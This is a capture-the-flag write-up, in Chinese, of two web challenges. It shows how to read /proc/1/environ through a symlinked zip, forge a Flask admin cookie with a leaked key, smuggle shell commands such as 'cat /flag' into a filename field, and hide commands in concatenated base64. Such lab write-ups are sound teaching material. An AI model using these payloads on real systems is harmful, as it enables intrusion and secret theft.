目录

WebN1JCTF-wp随便看看

【Web】N1JCTF wp(随便看看


online_unzipper

进来先试试功能

https://i-blog.csdnimg.cn/direct/0dc5514f342d4219b5b8dca9940223bd.png

看看源码

注意到如果越权为admin,则可控制dirname的值

https://i-blog.csdnimg.cn/direct/eb93eedbb33f47d7a1bad5f4458037f9.png

dirname为os.path.join的第二个参数

https://i-blog.csdnimg.cn/direct/c8bba14e95bc48aaabd4b44429130344.png

而os.path.join有一个逆天特性,如果能控制dirname为/,则可直接列出根目录下所有文件

https://i-blog.csdnimg.cn/direct/64ec84a5f3764780b02549aa3ebc30c0.png

https://i-blog.csdnimg.cn/direct/40813d317cb349c4a4a41927f2375604.png

想到zip很难不想到软连接,

但不能直接连接flag,因为文件名不可知

https://i-blog.csdnimg.cn/direct/047fb22f633b4795ad0cf7c9e13693c1.png

先尝试去越权到admin

一眼顶针读/proc/1/envrion,拿环境变量里的密钥

ln -s /proc/1/environ dummy.txt
zip --symlinks dummy.zip dummy.txt

下载读到FLASK_SECRET_KEY

https://i-blog.csdnimg.cn/direct/1d7fa1f0dbba43b696a081529820a74b.png

python flask_session_cookie_manager3.py decode -c "eyJyb2xlIjoidXNlciIsInVzZXJuYW1lIjoiWjNyNHkifQ.aMkpjg.6IhjoNDIM7h_F6MD3QDu7Wr9sPU" -s "test"
python flask_session_cookie_manager3.py encode -s "test" -t "{'role': 'admin', 'username': 'Z3r4y'}"

成功伪造

https://i-blog.csdnimg.cn/direct/c858f006a324420c94ed807ff4480245.png

指定dirname为/

看起来我的思路并不行;-(

https://i-blog.csdnimg.cn/direct/618e26bd7a2e4496947cd4f22a881a90.png

换个路子,打命令注入

https://i-blog.csdnimg.cn/direct/96bd40576729495bb153da833a39e73d.png

dummy;cat /* > /result.txt
ln -s /result.txt dummy2.txt
zip --symlinks dummy2.zip dummy2.txt

https://i-blog.csdnimg.cn/direct/e0f2c0a5d9924b00bb8a14f77edb7d73.png

拿到flag

https://i-blog.csdnimg.cn/direct/b0343042cb6a49b0aecab2888473d6ee.png

ping

感觉是命令注入

但正则限死了是只能是正常格式的ip

https://i-blog.csdnimg.cn/direct/9a7b7f77b8c047c5a779901ae5ab0bc9.png

注意到第一个base64解码是用python的base64库,第二个用到是shell里的

思考的方向应该往二者之差异上去靠🤔

base64.b64decode默认validate为False,调用binascii.a2b_base64

https://i-blog.csdnimg.cn/direct/1222dbe028d8435fa7ecce6cd7f07c68.png

去看binascii.a2b_base64的实现,是C封装的(

https://i-blog.csdnimg.cn/direct/b98d0a562c134d8c9554ef1276ab8f00.png

搜到了这篇文章

https://i-blog.csdnimg.cn/direct/08215cfc29244873ab672813ae26a41d.png

构造两段base64拼在一起

MTkyLjE2OC4xLjE=O2NhdCAvZmxhZw==

赢了

https://i-blog.csdnimg.cn/direct/1b082e3f26394639a99a9885271d37a0.png

https://i-blog.csdnimg.cn/direct/445ccbfcecd340319facfa506c3bb1a2.png

拿到flag

https://i-blog.csdnimg.cn/direct/3e09c102b4774faebd22dfb2b34b4c62.png

后面的题又是xss又是socket的,不是我认可的题我不做🤬